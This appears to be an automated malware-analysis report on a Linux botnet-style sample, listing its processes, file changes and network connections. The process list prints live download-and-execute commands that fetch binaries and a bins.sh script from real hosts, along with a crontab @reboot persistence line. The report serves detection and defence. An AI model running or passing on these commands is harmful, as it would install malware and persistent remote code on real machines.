Technical Information
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- /bin/bash
Launches processes:
- chmod 777 mpsl
- rm -rf mips
- sh bins.sh
- rm -rf arm6
- rm -rf x86
- rm -rf arm4
- rm -rf arm7
- (crontab -l ; echo \x22@reboot /bin/bash -c \x22cd /tmp; wget http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
- chmod 777 arm5
- /bin/busybox wget http://194.169.175.43/mips
- chmod 777 x86_64
- ./x86 cronx86
- chmod 777 arm6
- crontab -l
- rm -rf x86_64
- crontab -
- rm -rf arm5
- rm -rf mpsl
- ./x86_64 cronx86_64
- chmod +x bins.sh
- /bin/busybox wget http://194.169.175.43/arm5
- /bin/busybox wget http://194.169.175.43/x86
- chmod 777 mips
- /bin/busybox wget http://194.169.175.43/x86_64
- /bin/busybox wget http://194.169.175.43/arm7
- /bin/busybox wget http://194.169.175.43/mpsl
- chmod 777 x86
- chmod 777 arm7
- /bin/busybox wget http://194.169.175.43/arm4
- /bin/busybox wget http://194.169.175.43/arm6
- wget http://rebirthltd.com/bins.sh
- chmod 777 arm4
Kills the following processes:
- x86_64
- <SAMPLE>
- /bin/bash
- dash
- sh
- crontab
- x86
Performs operations with the file system:
Modifies file access rights:
- /bins.sh
- /tmp/mpsl
- /tmp/mips
- /tmp/x86_64
- /tmp/arm4
- /tmp/arm5
- /tmp/arm6
- /tmp/arm7
- /tmp/x86
Creates or modifies files:
- /self
- /proc/718/cmdline
- /dev/full
- /var/spool/cron/crontabs/tmp.530arm
- /bins.sh
- /tmp/mpsl
- /tmp/mips
- /tmp/x86_64
- /tmp/arm4
- /tmp/arm5
- /tmp/arm6
- /tmp/arm7
- /tmp/x86
Deletes files:
- /tmp/arm4
- /tmp/mips
Changes time of creation/access/modification of files:
- /var/spool/cron/bins.sh
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:8345
Establishes connection:
- 8.#.8.8:53
- 19#.##9.175.43:80
- 127.0.0.1:8345
DNS ASK:
- re###thltd.com
Sends data to the following servers:
- 19#.##9.175.43:80
Receives data from the following servers:
- 19#.##9.175.43:80
